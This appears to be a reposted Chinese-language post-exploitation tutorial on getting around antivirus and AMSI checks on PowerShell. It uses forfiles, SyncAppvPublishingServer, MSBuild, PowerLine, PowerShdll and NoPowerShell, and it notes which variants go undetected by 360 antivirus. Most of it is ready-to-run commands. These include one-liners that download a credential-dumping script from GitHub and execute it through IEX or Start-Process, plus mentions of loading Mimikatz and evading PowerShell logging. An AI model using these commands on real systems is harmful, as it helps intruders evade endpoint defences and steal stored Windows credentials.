[后滲透]多姿勢繞過 Powershell 調用保護


0x01 簡介

Windows PowerShell 是一種命令行外殼程序和腳本環境,使命令行用戶和腳本編寫者可以利用 .NET Framework 的強大功能。由於 powershell 的特性,使得它很受滲透測試愛好者的喜愛,當然也催生了像 ASMI 之類的防御手段,當然各類殺軟也是把它納入了查殺行列中,只要你調用 PS 就會查殺,今天列舉一些可以繞過其檢測規則的一些姿勢,主要可以粗略分為兩大類,首先是繞過AV的檢測規則,其次是換一個方式執行類似 PowerShell 的操作

0x02 繞過本地調用

2.1 模糊搜索調用

forfiles 是一款 windows 平台的軟件工具,其中選擇文件並運行一個命令來操作文件。命令說明符支持一些特殊的語法選項。它可以直接在命令行中使用,也可以在批處理文件或其他腳本中使用。

在 cmd 終端中,借用 forfiles 調用 powershell :

forfiles /p %COMSPEC:~0,19% /s /c "@file" /m po*l.*e

有需求的話,也可以同時添加 powershell 的指令參數,以實現不同的參數功能,這里以-c參數舉例:

forfiles /p %COMSPEC:~0,19% /s /c "cmd /c @file -c get-host" /m po*l.*e 

2.2 編譯命令程序

用c++的system函數庫去調用(待完善):

#include<stdio.h>
#include<stdlib.h>
int main(){
system("powershell");
return 0;
}

2.3 SyncAppvPublishingServer

SyncAppvPublishingServer是win10自帶的服務,有vbs和exe兩個版本,我們可以使用他們來做一些類似PS的操作

默認存放在C:\Windows\System32下面:

#彈計算器
C:\Windows\System32\SyncAppvPublishingServer.vbs "Break; Start-Process Calc.exe ”

#訪問端口
C:\Windows\System32\SyncAppvPublishingServer.vbs "Break; iwr http://192.168.1.149:443"

#遠程下載並執行powershell
C:\Windows\System32\SyncAppvPublishingServer.exe \" Break; (New-Object System.Net.WebClient).DownloadFile('https://raw.githubusercontent.com/peewpw/Invoke-WCMDump/master/Invoke-WCMDump.ps1','$env:USERPROFILE/1.ps1'); Start-Process '$env:USERPROFILE/1.ps1' -WindowStyle Minimized;"

SyncAppvPublishingServer.exe "n;(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/peewpw/Invoke-WCMDump/master/Invoke-WCMDump.ps1') | IEX"

2.4 調用MSBuild

MSBuild是.Net框架中包含的工具,用於自動化創建軟件產品的過程,包括編譯源代碼,打包,測試,部署和創建文檔。Msbuild依賴於.csproj文件,該文件具有XML語法,包含了.NET構建過程中的結果

github上有此類項目:https://github.com/Cn33liz/MSBuildShell.git

執行完之后會獲得一個交互式的PS:

C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe C:\Scripts\MSBuildShell.csproj
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\msbuild.exe C:\Scripts\MSBuildShell.csproj

2.5 調用cscript

三好師傅:http://www.mottoin.com/detail/1961.html

0x03 非Powershell執行

3.1 PowerLine

PowerLine是一款由c#編寫的工具,支持本地命令行調用和遠程調用,可以在不直接調用PowerShell的情況下調用PowerShell腳本

下載地址:https://github.com/fullmetalcache/PowerLine

首先拉取項目到本地,然后運行build.bat文件:

./build.bat

然后在 UserConf.xml 文件中填寫你所需要調用的 powershell 腳本的地址,默認自帶 powerup、powerview、Mimikatz 等,只要按照他給定的格式加入你的 ps 腳本地址即可:

加入完成以后,運行 PLBuilder.exe 進行構建,構建過程中,360 無提示。查看內置的腳本 PowerLine.exe -ShowScripts:

3.2 PowerShdll

這個工具主要使用 dll 去運行 powershell 而不需要去連接 powershell.exe ,所以具有一定的 bypassAV 能力,當然它也可以在這幾個程序下運行 rundll32.exe, installutil.exe, regsvcs.exe, regasm.exe, regsvr32.exe 或者使用作者給出的單獨的 exe 進行執行

下載地址:https://github.com/p3nt4/PowerShdll

#exe版
PowerShdll -i   #進入到交互模式

#dll版  360可以查殺到
rundll32 PowerShdll.dll,main . { iwr -useb https://raw.githubusercontent.com/peewpw/Invoke-WCMDump/master/Invoke-WCMDump.ps1 } ^| iex;

3.3 Nopowershell

NoPowerShell 是用C#實現的工具,它支持執行類似PowerShell的命令,同時對任何PowerShell日志記錄機制都不可見。同時也提供了CS下的cna腳本。

下載地址:https://github.com/bitsadmin/nopowershell

./NoPowerShell.exe(過360)

rundll32 NoPowerShell64.dll(被查殺)

這里要注意一點的是,cs的cna腳本默認調用 scripts 下的文件,國內的cs大多為 script 目錄,自行修改文件內的目錄即可。

參考鏈接

無powershell運行powershell方法總結
http://www.mottoin.com/detail/1961.html


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM